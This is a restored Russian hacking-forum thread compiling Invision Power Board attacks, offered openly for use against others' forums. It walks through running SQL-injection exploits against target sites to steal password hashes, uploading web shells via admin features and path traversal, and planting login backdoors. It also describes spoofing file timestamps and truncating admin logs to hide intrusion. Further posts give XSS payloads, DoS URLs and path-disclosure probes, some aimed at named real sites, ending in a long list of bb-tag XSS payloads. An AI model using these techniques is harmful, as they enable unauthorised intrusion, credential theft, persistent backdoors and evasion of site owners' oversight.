![]() |
[Обзор уязвимостей IPB]
В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике.
Здесь выкладываем только уязвимости форума Invision Power Board Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках: [Задай Вопрос - Получи Ответ] https://forum.antichat.ru/thread80624.html Раздел: Просьбы о взломах https://forum.antichat.ru/forum44.html Так-же рекоммендуется к прочтению: [Заливка шелла в Форуме] https://forum.antichat.ru/thread76949.html IPB 2.1.7 passive XSS https://forum.antichat.ru/threadnav23405-1-10.html sql-inj в ipb <=2.1.7 http://forum.antichat.ru/threadnav25088-1-10.html Invision Power Board 2.1.7 Exploit http://forum.antichat.ru/threadnav57362-1-10.html Правила раздела! https://forum.antichat.ru/thread39445.html При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна |
[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов.
Автор k1b0rg
Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов: 1.Определение версии форума. 2.Взлом форума. 3.Закачака шелла и использование админки. 4."Трояним" форум. (1)Определяем версию 1.3 присутсвует папки: /html/emoticons/ /fonts/ /Skin/ /ssi_templates/ присутсвтуют файлы ssi.php show.php css.php conf_mime_types.php 2.0.* файлы: /sources/help.php /sources/usercp.php /sources/trial_functions.php /sources/topics.php /sources/taskloader.php реагирует на 403 "доступ запрещен" например к папке /ips_kernel/ как 403: Invision Power Board -> Forbidden 2.1.* Присутсвуют папка /ips_kernel/PEAR/ присутствует файлы: info.php реагирует на 403 "доступ запрещен" например к папке /ips_kernel/ как 403: IBForums-> Forbidden (2)А теперь займемся взломом Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку каждый вид взлома: 1) sql инъекция Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее. затем качаем сплойты http://milw0rm.com/id.php?id=1036 http://milw0rm.com/id.php?id=1013 http://milw0rm.com/id.php?id=648 http://www.web-hack.ru/exploit/source/r57ipb2.txt в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char); разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова. Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0 где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума (0- 1.3; 1- 2.0.*) Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен. Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html читаем еще здесь http://www.securitylab.ru/vulnerability/205468.php http://www.securitylab.ru/vulnerability/204662.php http://www.securitylab.ru/vulnerability/203717.php http://www.securitylab.ru/vulnerability/203105.php http://www.securitylab.ru/vulnerability/202735.php http://www.securitylab.ru/vulnerability/201944.php http://www.securitylab.ru/vulnerability/202802.php http://www.securitylab.ru/vulnerability/205603.php 2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме Цитата:
(3)Заливаем шелл. ipb 1.3 заходим под админом(как стать админом уже много раз обсуждалось) Далее заходим в "Administration(Администрирование )" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии: 1.3 /forum/html/emoticons/shell.php 2.* /forum/style_emoticons/default/shell.php где shell.php имя вашего загруженного шелла. ipb 2.* заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл. Скачиваем базу данных. Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим). Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо. (4)"ТРОЯНИМ" форум. А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем. ищем такие строки (по дефолту 382 строчка) ipb 1.3 PHP код:
PHP код:
PHP код:
PHP код:
PHP код:
/sources/action_admin/login.php по дефолту 147 строчка удаляем строки PHP код:
sql.php по дефолту 46 строка: удаляем PHP код:
/sources/lib/admin_functions.php (строка 262) изменяем строку: PHP код:
PHP код:
PHP код:
do_login("You do not have access to the administrative CP"); } то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой touch -t 200310240921 где 2003 год 10 месяц 24 число 09:21 часов советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же. PS Материал востановлен Дата публикации: 11.12.2005, 02:16. Автор k1b0rg . Были внесены изменения по оформлению, и изменены некоторые линки на рабочие |
залитие шела
Автор ShAnKaR
залитие шела в ipb 1.3.* через шаблоны вроде ни где не освещалась эта тема, если было то удалите. иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны. идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон открываем и изменяем начальный кусок кода например на : Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,skins@invisionboard.com,http://www.invisionboard.com--> Цитата:
может быть и не s2- цифра в зависимости от номера шаблона PS Материал востановлен Дата публикации: 21.01.2007, 23:21 Автор ShAnKaR |
SQL-inj в админке IPB 2.1.7
Автор: KPOT_f!nd
Вот еще бага IPB 2.1.7 Цитата:
PS Материал востановлен Дата публикации: 19.01.2007, 05:47 Автор KPOT_f!nd |
залитие шела
Автор ShAnKaR
инклуд локального файла в ipb 1.3 естественно если есть доступ в админку идем в панельку для mysql и делаем запрос : Цитата:
http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5 и смотрим че получилось, вроде ни где такое еще не упоминалось P.S. локальный файл должен быть доступен для записи PS Материал востановлен Дата публикации: 29.01.2007, 23:17 Автор ShAnKaR |
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
Автор Dimon_Aka_Sexxx
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit PHP код:
PS Материал востановлен Дата публикации: 30.01.2007, 10:08 Автор Dimon_Aka_Sexxx |
протроянивание
Автор VampiRUS
Если возможно изменение исходников, то для того чтоб не брутить хеши: Создаем какую-нибудь неприметную табличку с полями id, name, password. находим в /sources/action_public/login.php (по умолчанию 545'ая строка): PHP код:
PHP код:
UPDATE ibf_members set member_login_key='1' и очистить таблицу ibf_sessions. PS Материал востановлен Дата публикации: 09.04.2007, 13:52 Автор VampiRUS |
Ipb 2.1.7 [PDF] Активная Xss
Автор md5f1h
Активная XSS На 2.1.7 проверял на ост нет... Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7 PS Материал востановлен Дата публикации: 29.04.2007, 17:28 Автор md5f1h |
залитие шела
Автор _GaLs_
1. "Administration(Администрирование )"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)" Обычно шелл грузится, если не включен SAFE MODE и хватает прав * /forum/style_emoticons/default/shell.php где default выбраная папка для загрузки shell.php имя вашего загруженного шелла. Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи. Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос. Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера. 2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла" phtml application/octet-stream выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да. идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше. после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл. 3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем: Цитата:
-------------------------------------------------------------------- Примечание Grey'я: -------------------------------------------------------------------- Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется. Можно более прямо составить запрос (вывести произвольную строку в файл): Цитата:
т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись. -------------------------------------------------------------------- -------------------------------------------------------------------- 4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой: PHP код:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/" обычно этот путь указывается. -------------------------------------------------------------------- -------------------------------------------------------------------- PS Материал востановлен Дата публикации: 24.05.2007, 09:31 Автор _GaLs_ |
Уязвимости Модов IPB
Автор _GaLs_
Уязвимости Модов IPB Army System SQL Injection Exploit PHP код:
SQL Injection Exploit PHP код:
PS Материал востановлен Дата публикации: 24.05.2007, 16:56 Автор _GaLs_ |
Уязвимости Модов IPB
Автор _GaLs_
Уязвимости Модов IPB D21-Shoutbox 1.1 PHP код:
SQL Injection Exploit Цитата:
PS Материал востановлен Дата публикации: 26.05.2007, 12:20 Автор _GaLs_ |
Invision Power Board Passive XSS
Автор +toxa+
Passive XSS бажный кусок кода: PHP код:
Цитата:
Цитата:
кидаем .htaccess файлик в папку /jscripts/folder_rte_files/ с содержанием Цитата:
ЗЗЫ не пашет при magic_quotes = On =\ PS Материал востановлен Дата публикации: 07.06.2007, 00:07 Автор+toxa+ |
Cross Site Scripting vulnerability
Автор +toxa+
Invision Power Board 2.2.2 Cross Site Scripting PHP код:
PS Материал востановлен Дата публикации: 14.06.2007, 18:00 Автор+toxa+ |
залитие шела
Автор def_
два небольших дополнения, (мож кому полезно будет) к следующим моментам: (к посту https://forum.antichat.ru/showpost.php?p=912327&postcount=7) Цитата:
PHP код:
Цитата:
PHP код:
PS Материал востановлен Дата публикации: 17.06.2007, 19:39 Автор def_ |
Заливка шела Ipb 2.2.2
Автор: n-000
Как то я столкнулся с такой проблемой : Есть админка от форума IPB v2.2.2, но хотелось бы что то вроде шелла =)) Эта версия оказалась намного доработанней чем прежние и залить шелл казалось мне просто мало реальным. Но я прекрасно осознавал что в форуме с такими наворотами и настройками фсегда найдёца недоработка... мелоч, а приятно -) Скачал себе такой двиг и начал тестить на локалхосте... вобщем зделал попытку заливки через SQL, там в форуме есть такая фича в админке, как Управление SQL во фкладке ПРОЧЕЕ ! Сработало ! заарал я и приконектился к жэртве -) Но однако получился облом, т к конфигурация сервера на котором хостился форум более жёсткая чем у меня на локалхосте -( Патом пробывал залить через фичу добавления смайликов и стилей ... т к я не очень дружу с хмл то порядком поиздевавшись над хмл файликами и своими нервами я бродил по админке и искал другие способы... И тут во фкладке НАСТРОЙКИ я набрёл на функцию *Добавить настройку* и начал изучать открывшующя пагу... и тут я наткнулся на вот такие слова *Выполнение PHP-кода до отображения или сохранения настройки:* ! Это уже интересней подумал я с расплывающимся ипалом ) И первым жэ делом зделал так: Сперва я создал настройку (задаёте произвольное название настройке, например 123) и в поле для PHP ввел вот такое PHP код:
+----------------------------------------------------------------+ | You cannot use executable PHP function keywords such as | | (include, require, include_once, require_once, exec, system and passthru) | | | +----------------------------------------------------------------+ -Наивный албанския парень, сказал мне форум (для тех у кого плохо с англицким =)) Но тут сразу жэ задумался - а что если средствами php зделать скрипт для заливки файла, самый наипростейший и зделать простую форму отправки ... и залить шелл на сервер, снова врубил локалхост и начал пробывать ... Задумка у меня была такой... средствами PHP создам файл в этой же дири что и админка forum/admin/ ! Например conf_ini.php . листинг файла PHP код:
PHP код:
После того как скрипт сработал я почапал по адресу forum/admin/conf_ini.php и увидел надпись о том что скрипт сработал (а сработает он не удачно, т к загрузки пока нет), самое главное скрипт сработал ! Дальше я вернулся к опции настроек и изменил php код уже имеющейся (созданой) настройки на PHP код:
После завершения закачки я зашёл по адресу http://www.xxxxxxxxx.ru/forum/admin/shell.php и злорадствовал =))) --------------------------------------------------------------------------- З.Ы.Да, забыл добавить, что создав файлик не на залифку шелла а на инклуд со своей паги сервер залупился и сказал что удалёное использование скрипта через инклуд идёт нахер ! Чистим следы ... Если вы хотите что бы админ ничего не заподозрил, то можно почистить записи о вашем прибывании в админке IP адресе нике и времени Хнопочки или стандартной функции на очистку этих данных в админке нет (по крайней мере я не нашёл, так что еси есть нагами не пинайте) Зделать это можно при помощи того жэ SQL на форуме -)) Идём во фкладку ПРОЧЕЕ ищем там в меню (Управление SQL -> Инструменты) и выбераем таблицу ibf_admin_login_logs, (префикс ibf стоит по умолчанию при инсталяции форума) Дальше в поле для ввода команд базе прописываем TRUNCATE `ibf2_admin_login_logs`; Опачки -) и записи пропали -)) PS Материал востановлен Дата публикации: 03.08.2007, 00:33 Автор n-000 |
Автор: GreenBear
Цитата:
shell_exec($ipclass->input['gg']); PS Материал востановлен Дата публикации: 03.08.2007, 01:01 Автор GreenBear |
Invision Power Board <= 2.1.5 Remote Code Execution Tutorial
Автор: +toxa+
Invision Power Board <= 2.1.5 Remote Code Execution PHP код:
PS Материал востановлен Дата публикации: 15.08.2007, 14:58 Автор +toxa+ |
Passive XSS IPB <=1.3, <=2.1.6
Автор: blackybr
Если кто думает что xss в админах неактуальны - пусть это не читает! =) Как раз они то нам и нужны. Какой нам прок от обычного пользователя? Подавай нам админа. Passive XSS IPB <=1.3 Цитата:
Цитата:
Цитата:
PS Материал востановлен Дата публикации: 06.10.2007, 17:42 Автор blackybr |
Invision Gallery <= 2.0.7 Remote SQL Injection
Автор: iddqd
Vulnerable: Invision Gallery <= 2.0.7 Remote SQL Injection Exploit: http://milw0rm.com/exploits/4966 PS Материал востановлен Дата публикации: 23.01.2008, 15:25 Автор iddqd |
Active XSS IPB<=2.3.3
Автор: XenOtai
IPB <-2.3.3 Цитата:
Работает в осле и лисе. Если выдает ошибку: THE FOLLOWING ERROR(S) WERE FOUND Sorry, dynamic pages in the [IMG] tags are not allowed (Динамические страницы в тегах [img] запрещены) значит пропатчен. PS Материал востановлен Дата публикации: 21.11.2007, 02:42 Автор XenOtai |
ibProArcade <= v3.3.0 sql injection exploit
Автор: +toxa+
PHP код:
PS Материал востановлен Дата публикации: 30.01.2008, 21:01 Автор +toxa+ |
Invision Power Board <=v2.3.4 BBCodes XSS
Автор: +toxa+
добавленный кодес в class_bbcode_core.php PHP код:
PS Материал востановлен Дата публикации: 22.02.2008, 22:22 Автор +toxa+ |
XSS [Flash] in IPB v1.3, 2.1.5 и 2.2.2
Автор: iddqd
Vulnerable: 1.x и 2.x (тестировалось на Invision Power Board v1.3, 2.1.5 и 2.2.2). XSS [Flash] Из-за отсутствия защиты от исполнения JavaScript кода из flash, при включенной поддержке флеша в сообщениях, атакующий может внедрить ссылку на специальный флеш-файл в тело сообщения и атаковать всех участников форума, которые просмотрят тему с данным сообщением. Атака может быть проведена через публикацию флешки в сообщении на форуме, или установки её в качестве аватора. PoC: Цитата:
Для исправления данной уязвимости нужно установить свойство флеш-объекта allowscriptaccess в "never". PS Материал востановлен Дата публикации: 08.03.2008, 15:14 Автор iddqd |
IPB <=2.0.3 SQL-inj Exploit (c) h4cky0u
Автор: +toxa+
heres another sick xploit for 2.0.3 again coded by jamey224. Usally works, except for a few boards that are patched.Enjoy! (c) h4cky0u http://h4cky0u.org/viewtopic.php?f=2&t=6110 PHP код:
PS Материал востановлен Дата публикации: 16.03.2008, 16:02 Автор +toxa+ |
Invision Power Board <=2.3.x iFrame Vulnerability
Автор: iddqd
1)Регистрируемся 2)Заходим в свой профиль 3)Изменяем подпись(html включен): PHP код:
Можно использовать для фейков. PS Материал востановлен Дата публикации: 27.03.2008, 19:01 Автор iddqd |
Invision Power Board <=2.3.5 Active XSS
Автор: %00
Invision Power Board <=2.3.5 Active XSS Работает в ie Не работает в opera 1) создаем файл any.html внути него <script>alert()</script> 2) содаем пост с аттачем any.html В версиях ниже 2.3.х может не работать... PS Материал востановлен Дата публикации: 20.05.2008, 15:25 Автор %00 |
Full path disclosure:
Автор: ettee
Full path disclosure: Цитата:
Цитата:
PS Материал востановлен Дата публикации: 02.06.2008, 21:32 Автор ettee |
IPB Forum Flood
Автор: baltazar
ФЛудит как постами так и топиками,проверено на 2.1.7 PHP код:
PS Материал востановлен Дата публикации: 22.07.2008, 00:59 Автор baltazar |
Раскрытие пути
Автор: Nightmarе
Раскрытие пути в модуле "галерея" в IPB 2.3.5: index.php?automodule=gallery&req[]= Пример: http://www.obzvon.com/forums/index.php?automodule=gallery&req[]= Тока щас нашёл, работает везде, возможно кому-то пригодится. PS Материал востановлен Дата публикации: 09.08.2008, 02:06 Автор Nightmarе |
Invision Power Board <= 2.3.5 Multiple Vulnerabilities
Вложений: 1
Автор: Elekt
Invision Power Board <= 2.3.5 Multiple Vulnerabilities http://acid-root.new.fr/?0:18 http://packetstormsecurity.org/filedesc/ipb235-multi.txt.html Экспоит основывается на SQL-inj в параметре "name" файла "sources/action_public/xmlout.php" и использует технологию классического посимвольного брута данных. Особенность урленкода %2527 делает его независимым от magic_quotes. /ipb235/index.php?s=&act=xmlout&do=check-display-name&name=%2527 Цитата:
-attack 1 Через скуль получают сессию админа. Из настроек извлекается инфа о привязке сессии к ip-address и browser. Если таковая привязка имеется (включено по дефолту) и админ заходил не из под прокси - атака невозможна. В ином случае - извлекаются ip-address и browser админа и производится попытка войти под админом. В случае успешной попытки эксплоит прописывает веб-шелл в файл языка. Вероятность успеха атаки мала, ибо: ~ сессия имет по дефолту привязку к айпи и браузеру ~ время жизни сессии скорее всего просрочено. придется караулить админа, либо спровоцировать его зайти в админку. Сам процесс "ожидания" в эксплоите реализован в цикле - ожидание появления новой сессии. Пример запуска эксплойта: php ipb235-multi.txt -attack 1 -url http://www.ipb-235.com/forum/ -attack 2 Как ни удивительно - в сессии cookie *ipb_stronghold пользователя присутствует пароль к БД. Используя атаку по словарю, эксплоит пытается сбрутить пароль к БД из хеша сессии. Через скуль эксплоит получает имя текущего пользователя БД. Необходима валидная учетная запись, либо куки со сниффера. Вероятность успеха мала и зависит в большей мере от вашего словаря и рэндомности пароля. Пример запуска эксплойта: php ipb235-multi.txt -attack 2 -url http://www.ipb-235.com/forum/ -ip <ВАШ_IP> -dict passwd.txt -uname mynick -pwd password Разложим алгоритм генерации сессии: PHP код:
PHP код:
~ если *member_id нашего юзера, например, 1745 ~ если у нас ip, например, 192.168.5.235 ~ если cookie *pass_hash, например, 12345678901234567890123456789012 ~ если мы знаем заведомо\получили через SQL-inj имя текущего SQL-юзера к БД, например, sqladmin@localhost Тогда: PHP код:
Используем модуль md5(md5($salt).md5($pass)) Ставьте атаку по маске, например, как ?|?|?|?|?|?|?|?|sqladmin где как видите в конце маски идет sql юзер БД. Ну подмаску ?| (a-z) можете выбрать и другую, однако тройной мд5 будет аццки тормозить на широком диапазоне символов... -attack 3 И наконец-то класическая добыча пароля пользователя + соль. Встроенный в эксплоит брутфорс попробует перебрать найденный хеш по словарю, хотя рекомендую перебирать чем-нить по шустрее. php ipb235-multi.txt -attack 3 -url http://www.ipb-235.com/forum/ -dict passwd.txt Реализован режим обхода IDS. Вобщем, автору DarkFig - большой респект. Я немного оптимизировал код. Максимальная скорость работы возросла в среднем в 2.5 раза. На примере атаки #3 : оригинальному эксплоиту потребуется около 500 запросов для брута md5 хеша + соли. Мой вариант для тойже задачи потребует не более 200 ver1.5 ----------------------- Сдесь аттач с программой :) (у кого права есть, поставьте, будте так добры ) ----------------------- PS Материал востановлен Дата публикации: 30.08.2008, 10:50 Автор Elekt |
Автор: Elekt
Исходя из адвизори http://acid-root.new.fr/?0:18 есть еще три других существенных бага, не используемых в эксплоите. 1) Утечка админской сессии Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor". Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару. 2) Отказ в обслуживании Неправильное использование пост-инкремента в защитной функции разбора массивов. Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все. /index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123 соответственно чем больше скобок, тем дольше будет обработка 3) HTTP Response Splitting attacks INFO[base_url] не определен в конфиге /admin.php?INFO[base_url]=http://phishing-hax.com/ PS Материал востановлен Дата публикации: 02.09.2008, 09:45 Автор Elekt |
Чтение файлов при помощи админки
Автор: Dr.Frank
Чтение файлов при помощи админки(если шелл залить не получилось). Тестил на версиях 2.3.1 2.3.3 В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим: Цитата:
Выполняем следующий запрос: Цитата:
Цитата:
и по адресу http://forum/index.php?act=attach&type=post&id=attach_id должен появиться файл с настройками conf_global.php PS Материал востановлен Дата публикации: 16.09.2008, 15:32 Автор Dr.Frank |
ibStore <= 3.2.0
DOS
http://target/index.php?autocom=store&CODE=item_effect&type=rese ll,BENCHMARK(10000000,BENCHMARK(10000000,md5(curre nt_date))) |
|
Цитата:
|
I.P.B. Раскрытие путей
Код:
http://victim.com/ipb/?&act=attach&code=attach_upload_removePickUp.Ru: Код:
http://www.pickupforum.ru/?&act=attach&code=attach_upload_removeКод:
http://forum.fishki.net/?act=attach&code=attach_upload_remove |
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS. Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612 Однако несколько моментов все же стоит осветить: 1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция. 2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно. 3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится. Объясню на примере: Возьмем структуру вложенных bb-тегов: [*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url] на выходе : <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section= blog&showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a> Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза. Теперь переделаем это в стиле скрещенных bb-тегов: [*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry] <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section= blog&showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a> И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет. [*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry] <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section= blog&showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a> Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится. 1) [*email=user@domain.com]Clickhere![*/email] A) [*email=user@domain.com[*email=user@domain.com][*/email]][*/email] B) [*email=user@domain.com[*font=times]This]Click[*/font] here![*/email] C) [*email=user@domain.com[*color=red]This]Click[*/color] here![*/email] D) [*email=user@domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email] E) [*email=user@domain.com[*member=admin]runs this site.]Clickhere![*/email] F) [*email=user@domain.com[*blog=100]Clickme!]Click[*/blog]here![*/email] G) [*email=user@domain.com[*entry=100]Click_me!]Click[*/entry]here![*/email] 2) [*url]http://www.domain.com[*/url] A) [*url]http://www.domain.com[*email]user@domain.com[*/email][*/url] B) [*url]http://www.domain.com[*email=user@domain.com]Clickhere![*/email][*/url] C) [*url]http://www.domain.com[*size=7]This[*/size][*/url] D) [*url]http://www.domain.com[*font=times]This[*/font][*/url] E) [*url]http://www.domain.com[*color=red]This[*/color][*/url] F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background] G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url] H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url] 3) [*url=http://www.domain.com]Clickhere![*/url] A) [*url=http://www.domain.com[*email=user@domain.com]Clickhere!]Click[*/email]here![*/url] B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url] C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url] D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url] E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url] F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url] G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url] 4) [*font=times]This[*/font] A) [*font=times[*font=times]This[*/font]]This[*/font] B) [*font=times[*member=admin]runs this site.]This[*/font] C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font] D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font] 5) [*color=red]This[*/color] A) [*color=red[*color=red]This[*/color]]This[*/color] B) [*color=red[*font=times]This]Th[*/font]is[*/color] C) [*color=red[*member=admin]runs this site.]This[*/color] D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color] E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color] 6) [*topic=100]Clickme![*/topic] A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic] B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic] C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic] D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic] E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic] F) [*topic=100[*email=user@domain.com]Clickhere!]Clickme![*/topic][*/email] G) 